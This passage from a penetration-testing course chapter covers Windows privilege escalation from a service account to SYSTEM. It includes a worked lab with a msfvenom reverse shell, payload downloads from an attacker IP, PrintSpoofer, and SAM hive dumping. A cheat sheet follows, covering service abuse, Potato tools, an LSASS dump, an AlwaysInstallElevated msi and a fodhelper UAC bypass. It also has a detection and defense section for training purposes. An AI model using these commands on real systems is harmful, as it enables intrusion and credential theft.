This is the bridge from local SYSTEM to domain compromise — the AD chapters that follow build on exactly this primitive.

Detection note: token manipulation (SeImpersonate + DuplicateTokenEx) and Kerberos ticket extraction are prime EDR telemetry; incognito’s impersonate_token and Rubeus’s LSA interactions are signatured. From a defender’s seat, a SYSTEM process suddenly acting as a domain admin with no corresponding interactive logon event is the tell.

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Part 14: Fully Worked Lab — Service Account to SYSTEM, End to End

A complete, reproducible run tying the chapter together. Scenario: you landed a shell as iis apppool\defaultapppool via a web exploit on a Windows Server 2019 box (mirrors HTB Jerry-style and TryHackMe Windows PrivEsc targets). Goal: SYSTEM. Every command and its realistic output.

Step 1 — Situational awareness (Chapter 4 recap)

C:\inetpub> whoami
iis apppool\defaultapppool

C:\inetpub> whoami /priv
Privilege Name                Description                                    State
============================= ============================================== =======
SeAssignPrimaryTokenPrivilege Replace a process level token                  Disabled
SeImpersonatePrivilege        Impersonate a client after authentication      Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                       Enabled
SeCreateGlobalPrivilege       Create global objects                          Enabled

SeImpersonatePrivilege: Enabled — decision made. This is a Part 8 (Potato) box. But we’ll also enumerate services to show the full method and pick the cleanest path.

Step 2 — Enumerate the service surface (in parallel)

C:\> accesschk.exe /accepteula -uwcqv "iis apppool\defaultapppool" *
  (no writable services)

C:\> whoami /groups | findstr /i "BUILTIN\\Administrators"
  (not in administrators — so UAC bypass is irrelevant; must use the privilege)

No weak service ACLs, not in Administrators. The token privilege is the path — exactly why whoami /priv is run first.

Step 3 — Stage the payload and listener

On Kali:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o pwn.exe
python3 -m http.server 80        # serve the payload
nc -lvnp 443                     # catch the SYSTEM shell

On the target, pull the payload and the Potato:

powershell -c "iwr http://10.10.14.5/pwn.exe -o C:\Temp\pwn.exe"
powershell -c "iwr http://10.10.14.5/PrintSpoofer64.exe -o C:\Temp\ps.exe"

Step 4 — Fire PrintSpoofer

C:\Temp> ps.exe -c "C:\Temp\pwn.exe"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening ...
[+] CreateProcessAsUser() OK

Back on the Kali listener:

$ nc -lvnp 443
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.95] 49812
Microsoft Windows [Version 10.0.17763.107]
C:\Windows\system32> whoami
nt authority\system

SYSTEM. If PrintSpoofer had failed (spooler disabled), the fallback is one line:

C:\Temp> godpotato-net4.exe -cmd "C:\Temp\pwn.exe"

Step 5 — Consolidate and loot

:: dump local hashes for persistence / lateral movement
reg save HKLM\SAM C:\Temp\SAM & reg save HKLM\SYSTEM C:\Temp\SYSTEM
:: grab the flag / prove access
type C:\Users\Administrator\Desktop\root.txt

Then off-box: impacket-secretsdump -sam SAM -system SYSTEM LOCAL to pull the Administrator hash for pass-the-hash. Restore anything you changed and note every artifact in your report.

Step 6 — Clean up

Remove C:\Temp\pwn.exe, ps.exe, and the dumped hives; if you modified any service config restore it; document the exact commands run and the exact time, so the blue team can validate their detections against your activity.

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Part 15: Detection & Defense Angle

Every technique above leaves a trace. This consolidated section is the defender’s view — what to log, what to hunt, and how to prevent each class.

Prevention (kills whole categories)

• Service ACLs: no non-admin principal should hold SERVICE_CHANGE_CONFIG or write to a service binary/dir. Audit with accesschk -uwcqv "Users" * and ... "Authenticated Users" * on every gold image.
• Quote every service path. Installers must wrap ImagePath in quotes. Sweep with wmic service get name,pathname | findstr /v """.
• Remove SeImpersonate where possible / apply the mitigations. You cannot strip it from IIS/SQL without breaking them, but you can keep the box patched (RoguePotato/JuicyPotato vectors close on newer builds) and disable the Print Spooler on servers that don’t print (kills PrintSpoofer’s vector — this is also the PrintNightmare mitigation).
• Never set AlwaysInstallElevated. Audit both registry keys estate-wide.
• UAC to the highest level, and treat filtered-admin accounts as sensitive; the real fix for bypasses is not being a local admin in the first place (least privilege).

Detection (what to alert on)

Technique	Primary telemetry	High-fidelity signal
Weak service ACL abuse	Event 7040 (config change), 4657 (registry), Sysmon 13	services.exe/sc.exe altering ImagePath then a SYSTEM net.exe/cmd.exe
Service binary overwrite	Sysmon 11 (file create) on a service EXE	Non-admin process writing under C:\Program Files\...\*.exe
Unquoted path	Sysmon 1	SYSTEM service spawning an EXE from an unexpected path prefix
DLL hijack	Sysmon 7 (image load)	Unsigned DLL loaded from a user-writable dir by a signed service
Potato family	Sysmon 1 + named-pipe events (17/18)	spoolsv.exe/services.exe → cmd.exe at System IL; known-bad hashes
AlwaysInstallElevated	4688 / Sysmon 1	msiexec at SYSTEM launched by a standard user
UAC bypass (fodhelper)	Sysmon 13 + 1	HKCU\...\ms-settings\Shell\Open\command write, then fodhelper.exe child
Token theft	EDR token telemetry, 4624/4672	SYSTEM process acting as a domain user with no matching interactive logon

IR use case: the single most valuable rule across this whole chapter is “a child process running at System integrity whose parent is services.exe, spoolsv.exe, or svchost.exe and whose image is cmd.exe/powershell.exe/an unsigned binary in a user-writable path.” That one correlation catches the majority of the techniques here.

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Part 16: Final Revision / Summary

The Windows escalation decision tree, distilled:

flowchart TD
    Start[Low-priv shell] --> Priv{whoami /priv}
    Priv -->|SeImpersonate/AssignPrimaryToken| Potato[Part 8: PrintSpoofer -> GodPotato -> SYSTEM]
    Priv -->|SeBackup| Backup[Dump SAM/SYSTEM -> secretsdump -> PtH]
    Priv -->|SeDebug| Debug[Mimikatz LSASS / token::elevate]
    Priv -->|SeRestore/SeTakeOwnership| Write[Overwrite SYSTEM binary]
    Start --> Svc{Service audit: accesschk}
    Svc -->|SERVICE_CHANGE_CONFIG| Cfg[Part 3: sc config binPath]
    Svc -->|writable binary| Bin[Part 4: overwrite EXE]
    Svc -->|unquoted + writable dir| Unq[Part 9: plant Prefix.exe]
    Svc -->|missing DLL in writable dir| Dll[Part 7: plant DLL]
    Start --> Reg{Registry/policy}
    Reg -->|AlwaysInstallElevated x2| Msi[Part 10: msiexec evil.msi]
    Start --> Grp{In Administrators but Medium IL?}
    Grp -->|yes| Uac[Part 12: fodhelper -> High IL]

The order of operations that wins on a real box:

1. whoami /priv and whoami /groups — decide privilege path vs service path vs UAC.
2. If a dangerous privilege is present, cash it in directly (Potato / SeBackup / SeDebug) — usually fastest.
3. Otherwise audit services with accesschk and the built-in wmic/sc checks; take the first clean service lead (config > binary > unquoted > DLL).
4. Check AlwaysInstallElevated as a cheap always-worth-trying policy bug.
5. Always leave the box restored and every action documented.

Key mental hooks: “SeImpersonate = Potato = SYSTEM.” “Unquoted path = plant the prefix before the space.” “binPath= needs a space after the equals.” “UAC bypass promotes an admin, it does not create one.”

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Part 17: Cheat Sheet / Quick Reference

# -- DECIDE THE PATH ------------------------------------------
whoami /priv                       # dangerous privileges?
whoami /groups                     # in Administrators (but Medium IL)?

# -- SERVICE AUDIT --------------------------------------------
accesschk.exe /accepteula -uwcqv "Authenticated Users" *   # weak service ACLs
accesschk.exe /accepteula -uwcqv "Everyone" *
sc qc <svc>                        # config + run-as account
sc qprivs <svc>                    # svc privileges
wmic service get name,pathname,startmode | findstr /i /v """  # unquoted paths

# -- WEAK SERVICE CONFIG (SERVICE_CHANGE_CONFIG) --------------
sc config <svc> binPath= "cmd /c net localgroup administrators pwn /add"
sc stop <svc> & sc start <svc>     # 1053 timeout on net.exe is expected
sc config <svc> binPath= "<original path>"   # RESTORE

# -- WRITABLE BINARY ------------------------------------------
accesschk.exe /accepteula -quvw "<path\svc.exe>"    # FILE_ALL_ACCESS?
copy /Y pwn.exe "<path\svc.exe>" & sc stop <svc> & sc start <svc>

# -- UNQUOTED PATH --------------------------------------------
accesschk.exe /accepteula -uwdq "C:\Program Files\Vuln Service\"
copy pwn.exe "C:\Program Files\Vuln.exe" & sc stop <svc> & sc start <svc>

# -- TOKEN PRIVILEGE -> SYSTEM (SeImpersonate) ----------------
PrintSpoofer64.exe -i -c cmd.exe
GodPotato-NET4.exe -cmd "C:\Temp\pwn.exe"
JuicyPotato.exe -l 1337 -p C:\Temp\pwn.exe -t * -c {CLSID}    # legacy

# -- OTHER PRIVILEGES -----------------------------------------
# SeBackup:  reg save HKLM\SAM C:\T\SAM & reg save HKLM\SYSTEM C:\T\SYSTEM
#            impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# SeDebug:   rundll32 comsvcs.dll, MiniDump <lsass_pid> C:\T\l.dmp full
# SeTakeOwn: takeown /f <file> & icacls <file> /grant pwn:F

# -- AlwaysInstallElevated -----------------------------------
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msiexec /quiet /qn /i C:\Temp\evil.msi          # both = 0x1

# -- UAC BYPASS (filtered-admin -> High IL) ------------------
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd /c C:\T\pwn.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f
fodhelper.exe
reg delete "HKCU\Software\Classes\ms-settings" /f

# -- PAYLOADS (Kali) -----------------------------------------
msfvenom -p windows/x64/exec CMD='net localgroup administrators pwn /add' -f exe -o add.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f exe-service -o svc.exe
msfvenom -p windows/x64/exec CMD='net localgroup administrators pwn /add' -f msi -o evil.msi
nc -lvnp 443

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Part 18: Common Pitfalls

• sc config spacing. binPath= "..." — space after =, never before. The number-one silent failure.
• Wrong payload type for services. A plain reverse-shell EXE launched by the SCM dies in ~30s; use -f exe-service for anything that must persist as a service, or a one-shot exec command that returns instantly.
• Unquoted-path filename. Plant the binary named after the path segment before the first space (Common.exe for ...\Common Files\...), and confirm the directory is actually writable with accesschk -uwdq.
• Confusing writable file vs writable directory. Only a writable file lets you overwrite the EXE; a writable directory may still block replacement if the service holds the handle — that case is usually a DLL-hijack or unquoted-path surface instead.
• Expecting UAC bypass to escalate a non-admin. fodhelper and friends only promote a filtered-admin token to High IL. If whoami /groups isn’t in Administrators, it does nothing — use a service or privilege path.
• Forgetting the .NET version for GodPotato. Ship the build matching the target runtime (GodPotato-NET4.exe for .NET 4.x); the wrong one throws a load error.
• JuicyPotato on modern Windows. Dead on 1809+/Server 2019+ — reach for PrintSpoofer/RoguePotato/GodPotato instead; don’t waste time on CLSIDs that no longer resolve.
• Not restoring state. Leaving a rewritten binPath, a replaced binary, or a planted DLL breaks the box and burns your access when it’s noticed. Back up, exploit, restore, document.
• /accepteula omitted — accesschk hangs on the EULA prompt in a non-interactive shell and your automation stalls.

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Part 19: Practice Labs & Resources

Every item here trains a specific technique from this chapter:

• TryHackMe — Windows PrivEsc (room windows10privesc): the canonical hands-on for Parts 3, 4, 7, 9, 10 — the exact daclsvc, filepermsvc, dllsvc, unquotedsvc, and AlwaysInstallElevated services used in this chapter’s examples.
• TryHackMe — Windows PrivEsc Arena and Steel Mountain: Steel Mountain is a clean end-to-end service-binary-overwrite (Part 4) plus PrintSpoofer/Potato (Part 8) box.
• HackTheBox — Jerry (Tomcat → service account → SeImpersonate → Potato), Optimum (kernel + Watson), Bastard, Devel (IIS → SeImpersonate → JuicyPotato/PrintSpoofer): classic SeImpersonate-to-SYSTEM chains for Part 8.
• HackTheBox — any MSSQL box (Querier, Giddy): land as nt service\mssqlserver via xp_cmdshell, then Potato to SYSTEM — the most common real-world version of Part 8.
• GhostPack docs: read the PowerUp and SharpUp source (Invoke-AllChecks, SharpUp.exe audit) to see exactly what each check queries — invaluable for the manual method.
• Sysinternals Live: practice accesschk and procmon (DLL-hijack hunting, Part 7) on your own VM; filter Procmon on NAME NOT FOUND + .dll.
• PrivescCheck / WinPEAS output: re-run against a lab box and map each flagged finding to the exploitation path in this chapter — the enumeration-to-exploitation bridge from Chapter 4 into Chapter 5.

Practice questions

1. whoami /priv shows SeImpersonatePrivilege: Enabled on a Server 2019 box, the Print Spooler is disabled, and you are nt service\mssqlserver. What is your exploitation path, and which single tool do you reach for? Explain why the spooler being off changes the choice.
2. You find a service with ImagePath = C:\Program Files\Acme Backup\Backup Agent\agent.exe (unquoted) and accesschk shows Users have RW on C:\Program Files\Acme Backup\. Exactly what filename do you plant, where, and why that name?
3. A user is a member of BUILTIN\Administrators but whoami /priv is sparse and you cannot read the SAM. What is happening, and what technique moves you forward — and what does that technique not do?
4. Contrast the exploitation of SERVICE_CHANGE_CONFIG (weak service ACL) versus a writable service binary. When can you use one but not the other, and which is quieter on the wire?
5. Write the full command sequence to weaponise AlwaysInstallElevated from payload generation on Kali through execution on the target, and state the one condition that must hold for it to work.

The next chapter moves from local SYSTEM into the domain: with a SYSTEM shell and the token/credential primitives from Parts 11 and 13 in hand, it opens the Active Directory attack path — enumeration, Kerberos, and the first lateral-movement techniques that turn one compromised host into domain dominance.